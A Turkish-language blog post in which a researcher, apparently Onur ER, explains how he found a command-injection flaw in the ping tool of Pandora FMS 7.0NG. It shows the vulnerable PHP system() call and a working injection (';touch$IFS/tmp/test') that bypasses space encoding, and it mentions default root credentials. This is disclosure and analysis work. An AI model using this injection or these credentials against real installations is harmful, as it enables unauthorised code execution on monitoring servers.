Pandora 7.0NG RCE Exploit


Pandora FMS bilgisayar ağlarını izlemek için kullanılan bir yazılımdır. Pandora FMS, farklı işletim sistemleri, sunucular, uygulamalar ve güvenlik duvarları, proxy’ler, veritabanları, web sunucuları veya yönlendiriciler gibi donanım sistemlerinin durumunu ve performansını görsel olarak izlemeye olanak tanır. Perl ve PHP programlama dili ile geliştirilmiştir.

Pandora FMS 7.0NG sürümünde fark etmiş olduğum zafiyeti nasıl bulduğumu ve Metasploit için yazdığım exploiti inceleyeceğiz. Yazılımın websitesinden Vmware için olan imajını indirdim. Websitesinden aldığım root:pandora kullanıcı adı ve parolasını kullanarak SSH ile sunucuya bağlandım. İlk olarak netstat -tulpn ile açık olan portları inceledim. 80 portunda çalışan bir web sunucu olduğunu gördüm.

[root@pandorafms ~]# netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1449/sshd           
tcp        0      0 0.0.0.0:8022            0.0.0.0:*               LISTEN      1241/anytermd       
tcp        0      0 0.0.0.0:8023            0.0.0.0:*               LISTEN      1215/anytermd       
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      2046/master         
tcp        0      0 0.0.0.0:41121           0.0.0.0:*               LISTEN      2065/perl           
tcp6       0      0 :::3306                 :::*                    LISTEN      2050/mysqld         
tcp6       0      0 :::80                   :::*                    LISTEN      845/httpd           
tcp6       0      0 :::22                   :::*                    LISTEN      1449/sshd           
tcp6       0      0 ::1:25                  :::*                    LISTEN      2046/master         
udp        0      0 0.0.0.0:36165           0.0.0.0:*                           650/dhclient        
udp        0      0 0.0.0.0:68              0.0.0.0:*                           650/dhclient        
udp6       0      0 :::20626                :::*                                650/dhclient  

/var/www/html dizini altındaki dosyaları tar -zcvf /tmp/pandora.tar.gz pandora_console/ komutu ile sıkıştırıp scp [email protected]:/tmp/pandora.tar.gz pandora.tar.gz ile kendi bilgisayarıma indirdim.

Sunucuda while true; do ps aux | grep "AAAtest" | grep -v "grep" ; done komutunu çalıştırarak ve gönderdiğim inputları AAAtest ile değiştirerek çalıştırılan processlere etkilerini görmeye çalıştım.

Manage Agents menüsünde Network Tools içinde bulunan ping gönderme özelliğini kullanırken Burp Suite isimli proxy aracı ile araya girip ip kısmını AAAtest şeklinde değiştirip gönderdim.

[root@pandorafms ~]# while true; do ps aux | grep "AAAtest" | grep -v "grep" ; done
apache    3941  0.0  0.0  28516  1412 ?        S    02:12   0:00 /usr/bin/ping -c 5 AAAtest
apache    3941  0.0  0.0  28516  1412 ?        S    02:12   0:00 /usr/bin/ping -c 5 AAAtest
apache    3941  0.0  0.0  28516  1412 ?        S    02:12   0:00 /usr/bin/ping -c 5 AAAtest
apache    3941  0.0  0.0  28516  1412 ?        S    02:12   0:00 /usr/bin/ping -c 5 AAAtest
apache    3941  0.0  0.0  28516  1412 ?        S    02:12   0:00 /usr/bin/ping -c 5 AAAtest

Linux’da ; işareti kullanılarak tek satırda iki veya daha fazla komut sırayla çalıştırılabilir. Bu özelliği kullanarak ping komutundan sonra touch /tmp/test şeklinde bir komut çalıştırmaya çalıştım. Sunucu tarafında bu komutun nasıl çalıştığını görmek için grep’teki AAAtest kısmını ping ile değiştirdim.

[root@pandorafms ~]# while true; do ps aux | grep "ping" | grep -v "grep" ; done
apache    4239  0.0  0.0  11628  1356 ?        S    02:17   0:00 sh -c /usr/bin/ping -c 5 ;touch /tmp/test
apache    4243  0.0  0.0  11628   196 ?        R    02:17   0:00 sh -c /usr/bin/ping -c 5 ;touch /tmp/test
apache    4247  0.0  0.0  11628   196 ?        R    02:17   0:00 sh -c /usr/bin/ping -c 5 ;touch /tmp/test

Yukarıda da gözüktüğü gibi boşluk karakteri yerine   şeklinde HTML encoding uygulanıyordu. Bu durumdan kurtulmak için Linux’da bulunan $IFS özelliğini kullandım. Payload’u ;touch$IFS/tmp/test şeklinde gönderdiğimde komut çalıştı ve /tmp dizininde test adındaki dosya oluştu.

Sunucudan indirdiğim dosyaları incelediğimde sorunun net_tools.php dosyasındaki 179. satırındaki system fonksiyonuna gelen ip değişkeninin yetersiz kontrolünden kaynaklanmaktadır.

...
case 2:
  $ping = whereis_the_command ('ping');
  if (empty($ping)) {
  	ui_print_error_message(__('Ping executable does not exist.'));
  }
  else {
  	echo "<h3>" . __("Ping to %s", $ip) . "</h3>";
  	echo "<pre>";
  	echo system ("$ping -c 5 $ip");
  	echo "</pre>";
  }
  break;
...

Yazmış olduğum exploit’in tamamını linkten inceleyebilirsiniz.




Onur ER
Onur ER
Onur ER
comments powered by Disqus